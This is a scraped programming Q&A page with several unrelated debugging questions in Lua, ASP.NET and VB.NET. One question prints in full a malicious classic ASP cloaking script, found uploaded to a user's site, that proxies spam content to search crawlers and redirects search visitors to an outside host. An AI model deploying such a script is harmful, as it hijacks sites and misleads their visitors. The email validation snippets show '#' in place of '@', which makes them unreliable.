Lua recursive scrolling menu not working? - recursion

Hey guys, just wondering why ain't my menu working, I've been coding it for like 8 hours now and just can't figure out what's wrong.
Menu = {
label = "Mahin Menu",
current = current or true,
open = open or true,
subMenus = {}
}
function Menu.newSubMenu()
return {
setup = Menu.setup,
print = Menu.print,
toggleOpen = Menu.toggleOpen,
getCurrentMenu = Menu.getCurrentMenu,
getLastMenu = Menu.getLastMenu,
getNextMenu = Menu.getNextMenu,
getPrevMenu = Menu.getPrevMenu
}
end
function Menu:setup(m_parent, m_label, m_action)
self.parent = m_parent
self.label = m_label
self.action = m_action
self.subMenus = {}
self.current = false
self.open = false
table.insert(m_parent.subMenus, self)
end
function Menu:print(indent)
io.write(string.rep(" ", indent))
if #self.subMenus>0 then
if self.open == true then
io.write("[-]")
else
io.write("[+]")
end
else
io.write(" ")
end
if self.current == true then
io.write("<" .. self.label .. ">")
else
io.write(" " .. self.label)
end
io.write("\n")
if #self.subMenus>0 and self.open == true then
for i=1,#self.subMenus do
self.subMenus[i]:print(indent+1)
end
end
end
function Menu:toggleOpen()
if self.open == true then
self.open = false
else
self.open = true
end
end
function Menu:getCurrentMenu()
if self.current == true then
return self
else
for k=1,#self.subMenus do
local v = self.subMenus[k]:getCurrentMenu()
if v ~= nil then
return v
end
end
end
end
function Menu:getLastMenu()
if self.open == true and #self.subMenus > 0 then
return self.subMenus[#self.subMenus]:getLastMenu()
else
return self
end
end
function Menu:getNextMenu(bool)
bool = bool or false
if bool == false then
if #self.subMenus > 0 and self.open == true then
return self.subMenus[1]
end
end
if self.parent then
if self.parent.subMenus[#self.parent.subMenus] == self then
self.parent:getNextMenu(true)
else
for i=1,#self.parent.subMenus do
if self.parent.subMenus[i] == self then
print(self.parent.subMenus[i+1].label)
return self.parent.subMenus[i+1]
end
end
end
else
return self
end
end
function Menu:getPrevMenu()
if self.parent then
for k=1,#self.parent.subMenus do
if self.parent.subMenus[k] == self then
if k == 1 then
return self.parent
elseif #self.parent.subMenus[k-1].subMenus > 0 and self.parent.subMenus[k-1].open == true then
local x = self.parent.subMenus[k-1]
while #x.subMenus > 0 and x.open == true do
x = x.subMenus[#x.subMenus]
end
return x
else
return self.parent.subMenus[k-1]
end
end
end
else
return self
end
end
Test = Menu.newSubMenu()
Test:setup(Menu, "Test item")
Mahi = Menu.newSubMenu()
Mahi:setup(Menu, "Mahi item")
Mahi.open = true
Testx = Menu.newSubMenu()
Testx:setup(Mahi, "Lalall")
Testx.open= true
Sadmad = Menu.newSubMenu()
Sadmad:setup(Testx, "Woot")
Asd = Menu.newSubMenu()
Asd:setup(Menu, "Asd menu")
Asd.current = true
Menu.current = false
repeat
print(string.rep("\n",2))
Menu:print(0)
x=io.read()
if x == "z" then
x = Menu:getCurrentMenu()
print(Menu:getCurrentMenu().label)
print(Menu:getCurrentMenu():getNextMenu().label)
y = Menu:getCurrentMenu():getNextMenu()
x.current = false
y.current = true
elseif x == "a" then
x = Menu:getCurrentMenu()
y = Menu:getCurrentMenu():getPrevMenu()
x.current = false
y.current = true
end
until x == "sad"
"
there's the code, and when ever i try to move my current from "Asd menu" downwards, it'll error:
menu.lua:150: attempt to index a nil value
which doesn't make any sense, it's clearly declared, and I've tried adding prints and they always give me Asd menu O.o
Same goes for if I'll try to move from Woot to Asd menu, same exact error, and I have no idea why, since I added those prints
print(Menu:getCurrentMenu().label)
print(Menu:getCurrentMenu():getNextMenu().label)
and they do give me Asd menu, but then it says that trying to index a nil value at the second print line, but it sill does print? I'm out of ideas, any help out here?

You are missing a return statement in line 92.
Note that this line does not actually return anything, so the function is returning nil.
After changing it to return self.parent:getNextMenu(true) it seems to be working.

Related

unknowned page uploaded to my site

this script is uploaded to my site with name default.asp, Does anyone know what was being uploaded?
<%#LANGUAGE="VBSCRIPT" CODEPAGE="65001"%>
<%
on error resume next
jumpcode="http://link.2016online.com/en/birkenstock.txt.html"
desurljiechi="http://www.birkenstockshoes-outlet.us.com/birkenstock-womens-outlet-1"
arrdom = Split(desurljiechi, "/")
For dd = 0 To 2
desurl = desurl & arrdom(dd)& "/"
Next
shellurl="http://"&Request.ServerVariables("Http_Host")&replace(replace(LCase(replace(Request.ServerVariables("REQUEST_URI"),"?"&request.ServerVariables("QUERY_STRING"),"")),"index.asp",""),"default.asp","")&"?"
rp="nike"
rc="online"
function is_spider()
dim s_agent
s_agent=Request.ServerVariables("HTTP_USER_AGENT")
If instr(s_agent,"google")>0 Or instr(s_agent,"yahoo")>0 Or instr(s_agent,"bing")>0 Or instr(s_agent,"msnbot")>0 Or instr(s_agent,"alexa")>0 Or instr(s_agent,"ask")>0 Or instr(s_agent,"findlinks")>a0 Or instr(s_agent,"altavista")>0 Or instr(s_agent,"baidu")>0 Or instr(s_agent,"inktomi")>0 Then
is_spider = 1
else
is_spider = 0
end if
end function
Function GetHtml(url,k)
agent = "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"&k
Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP")
ObjXMLHTTP.Open "GET",url,False
ObjXMLHTTP.setRequestHeader "User-Agent",agent
ObjXMLHTTP.setRequestHeader "Referer", "https://www.google.com/"
ObjXMLHTTP.send
GetHtml=ObjXMLHTTP.responseBody
Set ObjXMLHTTP=Nothing
set objStream = Server.CreateObject("Adodb.Stream")
objStream.Type = 1
objStream.Mode =3
objStream.Open
objStream.Write GetHtml
objStream.Position = 0
objStream.Type = 2
objStream.Charset = "utf-8"
GetHtml = objStream.ReadText
objStream.Close
End Function
Function IsUserSearch()
s_ref=Request.ServerVariables("HTTP_REFERER")
If instr(s_ref,"google")>0 Or instr(s_ref,"yahoo")>0 Or instr(s_ref,"bing")>0 Or instr(s_ref,"aol")>0 Then
IsUserSearch = true
else
IsUserSearch = false
end if
End Function
Function RegExpMatches(patrn, strng)
Dim regEx, Match, Matches
Set regEx = New RegExp
regEx.Pattern = patrn
regEx.IgnoreCase = True
regEx.Global = True
Set Matches = regEx.Execute(strng)
Dim MyArray()
Dim i
i=0
For Each Match in Matches
ReDim Preserve MyArray(i)
MyArray(i)=Match.Value
i=i-(-1)
Next
RegExpMatches = MyArray
End Function
Function RegExpReplace(html,patrn, strng)
Dim regEx
Set regEx = New RegExp
regEx.Pattern = patrn
regEx.IgnoreCase = True
regEx.Global = True
RegExpReplace=regEx.Replace(html,strng)
End Function
Function cDec(num)
cDecstr=0
if len(num)>0 and isnumeric(num) then
for inum=0 to len(num)-1
cDecstr=cDecstr-(-(2^inum*cint(mid(num,len(num)-inum,1))))
next
end if
cDec=cDecstr
End Function
Function OcB(num)
OcBstr=""
if len(num)>0 and isnumeric(num) then
for i=1 to len(num)
select case (mid(num,i,1))
case "0" OcBstr=OcBstr&"000"
case "1" OcBstr=OcBstr&"001"
case "2" OcBstr=OcBstr&"010"
case "3" OcBstr=OcBstr&"011"
case "4" OcBstr=OcBstr&"100"
case "5" OcBstr=OcBstr&"101"
case "6" OcBstr=OcBstr&"110"
case "7" OcBstr=OcBstr&"111"
end select
next
end if
OcB=OcBstr
End Function
Function OcD(num)
OcD=cDec(OcB(num))
End Function
Function toOct(objMatch)
toOct = "-"&rp&"-"&Oct(objMatch.subMatches(0))&"."
End Function
Function toDeOct(objMatch)
toDeOct = "-p-"&OcD(objMatch.subMatches(0))&"."
End Function
Function toCOct(objMatch)
toCOct = "-"&rc&"-"&Oct(objMatch.subMatches(0))&objMatch.subMatches(1)
End Function
Function toCDeOct(objMatch)
toCDeOct = "-c-"&OcD(objMatch.subMatches(0))&objMatch.subMatches(1)
End Function
Function RegExpReplaceCall( reg, m, str, fstr)
Dim Fun, Match, Matches, i, nStr, LastIndex
If str & "" = "" Then Exit Function
Set Fun = getRef(fstr)
Set regEx = New RegExp
regEx.Pattern = reg
regEx.IgnoreCase = True
regEx.Global = True
Set Matches = regEx.Execute(str)
LastIndex = 1
For Each Match In Matches
If Match.FirstIndex>0 Then
nStr = nStr & Mid(str, LastIndex, Match.FirstIndex-(-1)-LastIndex)
End If
nStr = nStr & Fun(Match)
LastIndex = Match.FirstIndex-(-1)-(-Match.Length)
Next
nStr = nStr & Mid(str, LastIndex)
RegExpReplaceCall = nStr
End Function
Function RegReplaceCall( reg, str, fstr)
RegReplaceCall = RegExpReplaceCall(reg, "ig", str, fstr)
End Function
spider = is_spider()
querystr = request.ServerVariables("QUERY_STRING")
if spider = 1 or querystr = "feiya" then
if querystr = "feiya" then
querystr = ""
end if
if querystr <> "" then
querystr = RegReplaceCall("-"&rp&"-(\d"&chr(43)&")\.",querystr,"toDeOct")
querystr = RegReplaceCall("-"&rc&"-(\d"&chr(43)&")([\._])",querystr,"toCDeOct")
htmls = GetHtml(desurl&querystr,"")
else
htmls = GetHtml(desurljiechi&querystr,"")
end if
htmls = RegExpReplace(htmls,"href\s*=\s*(["&chr(34)&"'])"&desurl,"href=$1"&shellurl)
desurl1 = RegExpReplace(desurl,"/$","")
htmls = RegExpReplace(htmls,"href\s*=\s*(["&chr(34)&"'])"&desurl1,"href=$1"&shellurl)
htmls = RegExpReplace(htmls,"href\s*=\s*(["&chr(34)&"'])/","href=$1"&shellurl)
htmls = RegExpReplace(htmls,"href\s*=\s*(["&chr(34)&"'])(?!http)","href=$1"&shellurl)
htmls = RegExpReplace(htmls,"src\s*=\s*(["&chr(34)&"'])"&desurl,"src=$1"&shellurl)
htmls = RegExpReplace(htmls,"src\s*=\s*(["&chr(34)&"'])/","src=$1"&shellurl)
htmls = RegExpReplace(htmls,"src\s*=\s*(["&chr(34)&"'])(?!http)","src=$1"&shellurl)
htmls = RegExpReplace(htmls,"url\((["&chr(34)&"'])","url($1"&shellurl)
desurl2 = replace(desurl1,"http://www.","")
desurl2 = replace(desurl2,"http://","")
htmls = replace(htmls,desurl2,Request.ServerVariables("Http_Host"),1,-1,1)
htmls = RegExpReplace(htmls,"href\s*=\s*(["&chr(34)&"'])"&shellurl&"\?(.*\.css)","href=$1"&desurl&"$2")
htmls = RegExpReplace(htmls,"href\s*=\s*(["&chr(34)&"'])"&shellurl&"\?(.*\.ico)","href=$1"&desurl&"$2")
htmls = RegExpReplace(htmls,"src\s*=\s*(["&chr(34)&"'])"&shellurl&"\?","src=$1"&desurl)
shellurlrm = shellurl
shellurlrm=replace(shellurlrm,"?","")
htmls = RegExpReplace(htmls,shellurlrm&"\?(["&chr(34)&"'])",shellurlrm&"$1")
htmls = RegReplaceCall("-p-(\d"&chr(43)&")\.",htmls,"toOct")
htmls = RegReplaceCall("-c-(\d"&chr(43)&")([\._])",htmls,"toCOct")
htmls = replace(htmls,"window.location.href","var jp")
htmls = replace(htmls,"location.href",";var jp")
response.write htmls
response.end()
else
if IsUserSearch then
if instr(jumpcode,".txt")>0 then
jumpcode = GetHtml(jumpcode,"Mozi11a")
tiaoarray=split(jumpcode,"?")
if IsEmpty(tiaoarray(0)) then
response.redirect jumpcode&"?"&shellurl
else
response.redirect tiaoarray(0)&"?"&shellurl
end if
end if
end if
end if
response.write GetHtml("http://"&Request.ServerVariables("Http_Host")&"/default.aspx","Mozi11a")
%>
It's redirecting requests to your site to another (probably scam) site, but only if you are coming from google.com.

Gridview does not refresh display updated record

I am currently working on a project. I suddenly stumbled on a problem that really blew my brains. I have a function that displays the content of a table in a database to a gridview which I named bindGrid. It is working perfectly fine when I query 50 to 90 records. However when I query 100 records or more the gridview does not display the records until I change the value of my dropdown box that is set to autopostback.
Here is the sample of the code:
Protected Sub btnFilter_Click(sender As Object, e As EventArgs) Handles btnFilter.Click
If cboFilter.Text = "DMZ" Then
lblErrFilter.Visible = False
lblError.Visible = False
If drpYear.Text = "--Select--" Or drpMonth.Text = "--Select--" Or txtDMZ.Text = "--Select--" Or txtTop.Text = "" Then
If drpYear.Text = "--Select--" Then
lblErrYear.Visible = True
Else
lblErrYear.Visible = False
End If
If drpMonth.Text = "--Select--" Then
lblErrMonth.Visible = True
Else
lblErrMonth.Visible = False
End If
If txtDMZ.Text = "--Select--" Then
lblErrDMZ.Visible = True
Else
lblErrDMZ.Visible = False
End If
lblError.Visible = True
lblError.Text = "No value specified for the following parameter(s) *."
Else
lblErrYear.Visible = False
lblErrMonth.Visible = False
lblErrDMZ.Visible = False
Call bindData()
'If Me.IsPostBack = True Then
Call bindGrid()
'End If
'
End If
'__________________________________________________________________________
'Zone filter
ElseIf cboFilter.Text = "Zone and Book" Then
lblErrFilter.Visible = False
lblError.Visible = False
If drpYear.Text = "--Select--" Or drpMonth.Text = "--Select--" Or txtZone.Text = "--Select--" Or txtTop.Text = "" Then
If drpYear.Text = "--Select--" Then
lblErrYear.Visible = True
Else
lblErrYear.Visible = False
End If
If drpMonth.Text = "--Select--" Then
lblErrMonth.Visible = True
Else
lblErrMonth.Visible = False
End If
If txtZone.Text = "--Select--" Then
lblErrZone.Visible = True
Else
lblErrZone.Visible = False
End If
lblError.Visible = True
lblError.Text = "No value specified for the following parameter(s) *."
Else
lblErrYear.Visible = False
lblErrMonth.Visible = False
lblErrZone.Visible = False
Call bindData()
Call bindGrid()
End If
ElseIf cboFilter.Text = "Account Number" Then
If txtFrom.Visible = True And txtTo.Visible = True Then
If drpYear.Text = "--Select--" Or drpMonth.Text = "--Select--" Or txtFrom.Text = "" Or txtTo.Text = "" Then
If drpYear.Text = "--Select--" Then
lblErrYear.Visible = True
Else
lblErrYear.Visible = False
End If
If drpMonth.Text = "--Select--" Then
lblErrMonth.Visible = True
Else
lblErrMonth.Visible = False
End If
If txtFrom.Text = "" Then
lblErrR1.Visible = True
Else
lblErrR1.Visible = False
End If
If txtTo.Text = "" Then
lblErrR2.Visible = True
Else
lblErrR2.Visible = False
End If
lblError.Visible = True
lblError.Text = "No value specified for the following parameter(s) *."
Else
Call bindData()
Call bindGrid()
End If
Else
If drpYear.Text = "--Select--" Or drpMonth.Text = "--Select--" Or lstAcct.Items.Count = 0 Then
If drpYear.Text = "--Select--" Then
lblErrYear.Visible = True
Else
lblErrYear.Visible = False
End If
If drpMonth.Text = "--Select--" Then
lblErrMonth.Visible = True
Else
lblErrMonth.Visible = False
End If
If lstAcct.Items.Count = 0 Then
lblErrAcct.Visible = True
Else
lblErrAcct.Visible = False
End If
lblError.Visible = True
lblError.Text = "No value specified for the following parameter(s) *."
Else
lblErrYear.Visible = False
lblErrMonth.Visible = False
lblErrR1.Visible = False
lblErrR2.Visible = False
Call bindData()
Call bindGrid()
End If
End If
Else
If cboFilter.Text = "--Select--" Then
lblErrFilter.Visible = True
End If
lblError.Visible = True
lblError.Text = "No value specified for the following parameter(s) *."
End If
'Response.Redirect("~/Sites/CD/TopCon.aspx", True)
End Sub
as you can see the execution is done after I click on the filter button.
Here is my page load:
Protected Sub Page_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load
If User.Identity.IsAuthenticated = False Then
Response.Redirect("/Default.aspx", True)
Else
If User.IsInRole("chicken") = True Or User.IsInRole("dog") = True Or User.IsInRole("cat") = True Then
If Not IsPostBack Then
maxTop = 10
txtTop.Text = maxTop
Call bindData()
Call bindGrid()
lblUser.Text = lblUser.Text & User.Identity.Name
lblIP.Text = lblIP.Text & GetIPAddress()
cboFilter.TabIndex = 0
Call fillYear()
Call fillDMZCombo()
Call fillZoneCombo()
Call fillType()
Else
*Call bindGrid()*
End If
Else
Response.Redirect("/Default.aspx", True)
End If
End If
End Sub
Well I know the reason why the gridview refreshes when I click on my control that is set to autopostback it's because of the bindGrid that I inserted on my page_load inside the else.
It really seems to be a passive line of code. What really bothers me is why is it that my bindGrid inside the filter button does not execute when I query 100 records or more.
Here is my code for bindGrid:
Public Sub bindGrid()
IpAdd = GetIPAddress()
xUser = User.Identity.Name
ShowCon = New SqlConnection("some data connection")
ShowCon.Open()
cmdShowCon = ShowCon.CreateCommand
cmdShowCon.CommandTimeout = 600
cmdShowCon.CommandText = "some simple select statement"
daShowCon.SelectCommand = cmdShowCon
dsShowCon.Clear()
daShowCon.Fill(dsShowCon, "someTable")
grdTopCon.DataSource = dsShowCon
grdTopCon.DataBind()
End Sub
Any help would be much appreciated.
Try setting a breakpoint in the btnFilter_Click to see what's causing the problem. It maybe either caused by the algorithm inside it or inside the Page_Load event.

Score activated when button is pressed does not work, Corona sdk

I would like the score to increase only when this button is pressed. However when I tried running my code the score did not change... Any ideas?
thanks in advance!
here is my code:
score = 0
local scoreNumber = display.newText(score, 200, 30, nil, 20)
scoreNumber.xScale = 1.2
scoreNumber.yScale = 1.2
local scoreText = display.newText("score:", 150, 30, nil, 20)
scoreText.xScale = 1.2
scoreText.yScale = 1.2
local buttonPressed = false
local myButton = display.newRect(50,50,100,100)
local function scoretimer(event)
if buttonPressed then
score = score + 1
scoreNumber.text = score
end
end
local function buttonPressed(event)
if event.phase == "began" then
buttonPressed = true
elseif event.phase == "ended" then
buttonPressed = false
end
return true
end
myButton:addEventListener("touch", buttonPressed)
Runtime:addEventListener("enterFrame", scoretimer)
First you declare:
local buttonPressed = false
end then you declare it again as a function:
local function buttonPressed(event)
Rename your function and everything should go fine

InStr() asp classic form field validation

I'm trying to check for valid email address in a form field using:
if Request ("email") = "" then
bError = true
ElseIf Instr(1, email," ") <> 0 Then
bError = true
ElseIf InStr(1, email, "#", 1) < 2 Then
bError = true
else
*/go to success page*/
But if there is a space in the email address it still passes the validation. So my question is, how do I check for spaces using this method?
You're better off using a regular expression for this.
http://classicasp.aspfaq.com/email/how-do-i-validate-an-e-mail-address.html
Function isEmailValid(email)
Set regEx = New RegExp
regEx.Pattern = "^\w+([-+.]\w+)*#\w+([-.]\w+)*\.\w{2,}$"
isEmailValid = regEx.Test(trim(email))
End Function
Forget about all the elseif stuff do it simple...
Dim strEmail
Dim intErrors
intErrors = 0
strEmail = REQUEST("email")
strEmail = Trim(strEmail)
if strEmail = "" then intErrors = intErrors +1;
if instr(strEmail," ") > 0 then intErrors = intErrors +1;
if instr(strEmail,".") = 0 then intErrors = intErrors +1;
if instr(strEmail,"#") < 2 then intErrors = intErrors +1;
' Put as many test conditions as you want here
if intErrors = 0 then GotoSuccessPage
if Request ("email") = "" or Instr(email," ") > 0 or InStr(email, "#") < 2 then
bError = true
else
'go to success page
'BUT ABOUT OTHER ISSUES?
end if
---------------HERE IS A NON-REGEXP BASED EMAIL CHECKER, NOT SURE IF ITS FOOL PROOF BUT BETTER THAN THE SUBMITTED SNIPPET THAT SHOULD GET YOU GOING...
Function IsEmail(sCheckEmail)
Dim SEmail, NAtLoc
IsEmail = True
SEmail = Trim(sCheckEmail)
NAtLoc = InStr(SEmail, "#")
If Not (nAtLoc > 1 And (InStrRev(sEmail, ".") > NAtLoc + 1)) Then
IsEmail = False
ElseIf InStr(nAtLoc + 1, SEmail, "#") > NAtLoc Then
IsEmail = False
ElseIf Mid(sEmail, NAtLoc + 1, 1) = "." Then
IsEmail = False
ElseIf InStr(1, Right(sEmail, 2), ".") > 0 Then
IsEmail = False
End If
End Function

Conversion from string “” to type 'Byte' is not valid [closed]

It's difficult to tell what is being asked here. This question is ambiguous, vague, incomplete, overly broad, or rhetorical and cannot be reasonably answered in its current form. For help clarifying this question so that it can be reopened, visit the help center.
Closed 11 years ago.
I have been struggling with this error for a couple days now, I have gone over the code to try to find an instance where I have the wrong type, but no luck. I am getting the "Conversion from string “” to type 'Byte' is not valid" when the submit button is clicked. So my thought is that there is something wrong in the Data_Save function. But I am unable to see my mistake. any help would be appreciated.
Protected Function Data_Save() As Boolean
Data_Save = False
Try
Dim newTable As New DemoOp_WebDataTable
Dim newRow As DemoOp_WebRow = newTable.NewRow()
newRow.DOW_FName = Me.txtFName.Text
newRow.DOW_LName = Me.txtLName.Text
newRow.DOW_Addr_1 = Me.txtAddr_1.Text
newRow.DOW_Addr_2 = Me.txtAddr_2.Text
newRow.DOW_City = Me.txtCity.Text
newRow.DOW_State = Me.ddState.SelectedValue.ToString
newRow.DOW_Zip = Me.txtZip.Text
newRow.DOW_Home_Phone = Me.txtHome_Phone.Text
newRow.DOW_Work_Phone = String.Empty
newRow.DOW_Cell_Phone = Me.txtCell_Phone.Text
newRow.DOW_Email = Me.txtEmail.Text
newRow.DOW_Dem_Exp = String.Empty
newRow.DOW_Wkd_Ret = String.Empty
newRow.DOW_Bilingual = String.Empty
newRow.DOW_Lang_Spk = String.Empty
newRow.DOW_Hrd_Store = Me.ddlOptQst12.SelectedItem.Value
newRow.DOW_StoreCode = Me.ddAd_Code.SelectedValue.ToString
newRow.DOW_In_Date = Now
newRow.DOW_18Plus = Me.rblnewqst1.SelectedValue
newRow.DOW_Transportation = Me.rblnewqst2.SelectedValue
newRow.DOW_AbleToStand = Me.rblnewqst3.SelectedValue
newRow.DOW_Internet = Me.rblnewqst4.SelectedValue
newRow.DOW_DirectDeposit = Me.rblnewqst5.SelectedValue
newRow.DOW_Experience = Me.rblnewqst6.SelectedValue
newRow.DOW_Outgoing = Me.rblnewqst7.SelectedValue
newRow.DOW_CulinarySkills = Me.rblnewqst8.SelectedValue
newRow.DOW_DemoWorkType = Me.ddlOptQst1.SelectedItem.Value
newRow.DOW_ReceiveTextMsgs = Me.rblOptQst2.SelectedValue
newRow.DOW_AgeCategory = Me.ddlOptQst3.SelectedItem.Value
newRow.DOW_ComputerSkill = Me.ddlOptQst4.SelectedItem.Value
newRow.DOW_CookingSkill = Me.ddlOptQst5.SelectedItem.Value
newRow.DOW_PhysicallyFit = Me.ddlOptQst6.SelectedItem.Value
newRow.DOW_AreasOfExp = GetCheckValues(chkOptQst7)
newRow.DOW_SpecialExpertise = GetCheckValues(chkOptQst8)
newRow.DOW_OtherLanguage = Me.ddlOptQst9.SelectedItem.Value
newRow.DOW_Felony = Me.rblnewqst11.SelectedValue
newRow.DOW_SOffender = Me.rblnewqst12.SelectedValue
newRow.DOW_ShopLift = Me.rblnewqst13.SelectedValue
newRow.DOW_FoodHandlers = Me.rblnewqst10.SelectedValue
newRow.DOW_OtherAgencies = GetCheckValues(chkOptQst10)
newRow.DOW_CookingAppliances = GetCheckValues(chkOptQst11)
newRow.DOW_Hrd_Store_Detail = Me.ddlOptQst13.SelectedItem.Value
Dim ta As DemoOp_WebTableAdapter = New DemoOp_WebTableAdapter
'ta.Insert(newRow.DOW_FName, newRow.DOW_LName, newRow.DOW_Addr_1, newRow.DOW_Addr_2, newRow.DOW_City, _
' newRow.DOW_State, newRow.DOW_Zip, newRow.DOW_Home_Phone, newRow.DOW_Work_Phone, newRow.DOW_Cell_Phone, _
' newRow.DOW_Email, newRow.DOW_Dem_Exp, newRow.DOW_Wkd_Ret, newRow.DOW_Bilingual, newRow.DOW_Lang_Spk, _
' newRow.DOW_Hrd_Store, newRow.DOW_Hrd_Store_Detail, newRow.DOW_StoreCode, newRow.DOW_18Plus, newRow.DOW_Transportation, _
' newRow.DOW_AbleToStand, newRow.DOW_Internet, newRow.DOW_DirectDeposit, newRow.DOW_Felony, newRow.DOW_SOffender, newRow.DOW_ShopLift, newRow.DOW_Experience, _
' newRow.DOW_Outgoing, newRow.DOW_CulinarySkills, newRow.DOW_FoodHandlers, newRow.DOW_DemoWorkType, newRow.DOW_ReceiveTextMsgs, _
' newRow.DOW_AgeCategory, newRow.DOW_ComputerSkill, newRow.DOW_CookingSkill, newRow.DOW_PhysicallyFit, _
' newRow.DOW_AreasOfExp, newRow.DOW_SpecialExpertise, newRow.DOW_OtherAgencies, newRow.DOW_CookingAppliances, newRow.DOW_OtherLanguage)
ta.Insert(newRow.DOW_FName, newRow.DOW_LName, newRow.DOW_Addr_1, newRow.DOW_Addr_2, newRow.DOW_City, _
newRow.DOW_State, newRow.DOW_Zip, newRow.DOW_Home_Phone, newRow.DOW_Work_Phone, newRow.DOW_Cell_Phone, _
newRow.DOW_Email, newRow.DOW_Dem_Exp, newRow.DOW_Wkd_Ret, newRow.DOW_Bilingual, newRow.DOW_Lang_Spk, _
newRow.DOW_Hrd_Store, newRow.DOW_StoreCode, newRow.DOW_18Plus, newRow.DOW_Transportation, _
newRow.DOW_AbleToStand, newRow.DOW_Internet, newRow.DOW_DirectDeposit, newRow.DOW_Experience, _
newRow.DOW_Outgoing, newRow.DOW_CulinarySkills, newRow.DOW_DemoWorkType, newRow.DOW_ReceiveTextMsgs, _
newRow.DOW_AgeCategory, newRow.DOW_ComputerSkill, newRow.DOW_CookingSkill, newRow.DOW_PhysicallyFit, _
newRow.DOW_AreasOfExp, newRow.DOW_SpecialExpertise, newRow.DOW_OtherLanguage, newRow.DOW_Felony, newRow.DOW_SOffender, newRow.DOW_ShopLift, newRow.DOW_FoodHandlers, newRow.DOW_OtherAgencies, newRow.DOW_CookingAppliances, newRow.DOW_Hrd_Store_Detail)
Data_Save = True
Catch ex As ApplicationException
Me.lblErrMessage.Text = ex.InnerException.ToString
End Try
End Function
Protected Function GetCheckValues(ByVal chklst As CheckBoxList) As String
GetCheckValues = String.Empty
Dim i As Integer
Dim sb As StringBuilder = New StringBuilder()
For i = 0 To chklst.Items.Count - 1
If chklst.Items(i).Selected Then
sb.Append(chklst.Items(i).Value & ",")
End If
Next
'remove the last comma in sb
If sb.Length > 0 Then
Dim InputValue As String
InputValue = Left(sb.ToString(), Len(sb.ToString()) - 1)
GetCheckValues = InputValue
End If
End Function
Protected Sub Reset_Controls()
btnSubmit.Visible = False
btnCancel.Visible = False
btnBack.Visible = True
txtFName.Enabled = False
txtLName.Enabled = False
txtAddr_1.Enabled = False
txtAddr_2.Enabled = False
txtCity.Enabled = False
ddState.Enabled = False
txtZip.Enabled = False
txtHome_Phone.Enabled = False
txtCell_Phone.Enabled = False
txtEmail.Enabled = False
ddlOptQst12.Enabled = False
ddlOptQst13.Enabled = False
ddStoreCode.Enabled = False
rblnewqst1.Enabled = False
rblnewqst2.Enabled = False
rblnewqst3.Enabled = False
rblnewqst4.Enabled = False
rblnewqst5.Enabled = False
rblnewqst6.Enabled = False
rblnewqst7.Enabled = False
rblnewqst8.Enabled = False
rblnewqst10.Enabled = False
rblnewqst11.Enabled = False
rblnewqst12.Enabled = False
rblnewqst13.Enabled = False
ddlOptQst1.Enabled = False
rblOptQst2.Enabled = False
ddlOptQst3.Enabled = False
ddlOptQst4.Enabled = False
ddlOptQst5.Enabled = False
ddlOptQst6.Enabled = False
chkOptQst7.Enabled = False
chkOptQst8.Enabled = False
ddlOptQst9.Enabled = False
chkOptQst10.Enabled = False
chkOptQst11.Enabled = False
End Sub
Protected Sub btnOKMsg_Click(ByVal sender As Object, ByVal e As System.EventArgs)
If Data_Save() Then
lblErrMessage.Text = "Your information has been submitted!"
Else
lblErrMessage.Text = "Error occurred while saving your entry. Click on 'Back' to return to main page."
End If
'Reset_Controls()
ModalPopupExtender1.Hide()
End Sub
Protected Sub btnCancelMsg_Click(ByVal sender As Object, ByVal e As System.EventArgs)
lblErrMessage.Text = "Your information was previously submitted."
ModalPopupExtender1.Hide()
End Sub
End Class
Here's a couple of suggestions to get you started:
Enable "Option strict" in your project options and fix any errors you may get. This will help you identify where you're trying to set a byte value with an empty string.
Remove all the try-catch-statements with an empty catch section.
Clean up the code, and remove the sections not relevant to your question.
Tell us where the exception occurs and the exception details...

Resources